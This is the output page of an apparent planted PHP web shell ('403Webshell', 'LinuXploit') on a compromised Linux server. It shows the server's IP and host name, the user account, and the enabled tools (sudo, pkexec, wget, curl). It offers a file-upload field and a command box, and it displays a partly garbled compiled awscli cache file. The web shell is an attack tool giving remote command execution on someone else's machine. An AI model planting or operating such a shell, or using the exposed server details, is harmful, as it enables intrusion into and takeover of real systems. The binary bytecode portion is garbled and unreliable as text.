403Webshell
Server IP : 167.99.254.82  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux host.techisquad.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : pawluxera ( 1011)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/awscli/customizations/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/awscli/customizations/__pycache__/addexamples.cpython-310.pyc
o

.&�a�@s*dZddlZddlZe�e�Zdd�ZdS)aZ
Add authored examples to MAN and HTML documentation
---------------------------------------------------

This customization allows authored examples in ReST format to be
inserted into the generated help for an Operation.  To get this to
work you need to:

* Register the ``add_examples`` function below with the
  ``doc-examples.*.*`` event.
* Create a file containing ReST format fragment with the examples.
  The file needs to be created in the ``examples/<service_name>``
  directory and needs to be named ``<service_name>-<op_name>.rst``.
  For example, ``examples/ec2/ec2-create-key-pair.rst``.

�Nc	Ks�tj�tj�tj�tj�t���d�}tj�||j�dtjj��}|d}t	�
d|�tj�|�rI|jj
�d�t|�}|��D]
}|j�|�q@dSdS)N�examples�.z.rstzLooking for example file at: %s�Examples)�os�path�join�dirname�abspath�__file__�event_class�replace�sep�LOG�debug�isfile�doc�style�h2�open�	readlines�write)�help_command�kwargs�doc_path�fp�line�r�C/usr/lib/python3/dist-packages/awscli/customizations/addexamples.py�add_examples$s(
�����r)�__doc__r�logging�	getLogger�__name__rrrrrr�<module>s



Youez - 2016 - github.com/yon3zu
LinuXploit